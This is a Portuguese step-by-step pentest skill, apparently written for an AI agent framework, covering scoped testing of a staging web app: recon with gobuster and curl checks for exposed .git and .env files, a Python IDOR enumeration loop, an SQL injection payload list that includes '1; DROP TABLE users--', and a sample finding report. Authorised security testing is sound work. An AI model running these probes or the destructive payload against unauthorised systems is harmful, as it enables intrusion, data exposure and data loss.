Passo-a-passo detalhado do skill, referenciando as fases cognitivas:
1SENSE — Definir escopo e autorização
```
Rules of Engagement:
Target: https://staging.myapp.com (APENAS staging)
Janela: 09h-18h horário comercial
Fora do escopo: DoS, dados reais de usuários, infra de terceiros
Ponto de contato: security@myapp.com
Autorização: documento assinado anexo
```
2CONTEXTUALIZE — Recon da aplicação
```bash
# Mapear endpoints
gobuster dir -u https://staging.myapp.com -w /usr/share/wordlists/common.txt
# Verificar headers de segurança
curl -sI https://staging.myapp.com | grep -Ei 'strict-transport|content-security|x-frame'
# Verificar arquivos sensíveis expostos
for path in .git/HEAD .env robots.txt api/docs swagger.json; do
status=$(curl -so /dev/null -w "%{http_code}" https://staging.myapp.com/$path)
[ "$status" = "200" ] && echo "⚠️ EXPOSED: /$path"
done
```
3HYPOTHESIZE — Testar IDOR (A01)
```python
# Testar IDs sequenciais de outro usuário
import requests
headers = {"Authorization": f"Bearer {token_user_A}"}
for user_id in range(1, 100):
r = requests.get(f"https://staging.myapp.com/api/users/{user_id}", headers=headers)
if r.status_code == 200:
data = r.json()
if data.get('id') != current_user_id:
print(f"⚠️ IDOR: acessou dados de user/{user_id} com token do user {current_user_id}")
```
4HYPOTHESIZE — Testar SQL Injection
```python
payloads = ["'", "1'--", "1' OR '1'='1", "1; DROP TABLE users--"]
for payload in payloads:
r = requests.get(f"https://staging.myapp.com/api/users?id={payload}", headers=headers)
if 'error' in r.text.lower() or 'sql' in r.text.lower():
print(f"⚠️ Potential SQLi with payload: {payload}")
print(f"Response: {r.text[:200]}")
```
5RECOMMEND — Relatório de finding
```markdown
Finding: IDOR em GET /api/users/{id}
**Severidade**: High (CVSS 7.5)
**CVSS Vector**: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
### Descrição
Um usuário autenticado pode acessar dados de qualquer outro usuário
alterando o parâmetro {id} na URL.
### Steps to Reproduce
1. Autenticar como User A (user_id=42)
2. Enviar GET /api/users/43 com token do User A
3. Resposta retorna dados do User B (200 OK com PII)
### Impacto
Exposição de dados pessoais (nome, email, endereço) de todos os usuários da plataforma.
### Recomendação
Verificar server-side que req.user.id === params.id antes de retornar os dados.
```
6REFLECT — Relatório final e remediação
Priorizar findings por CVSS: Critical (24h), High (7 dias), Medium (30 dias)
Verificar que nenhum payload destrutivo foi executado inadvertidamente
Reportar telemetria via mcp-skillschain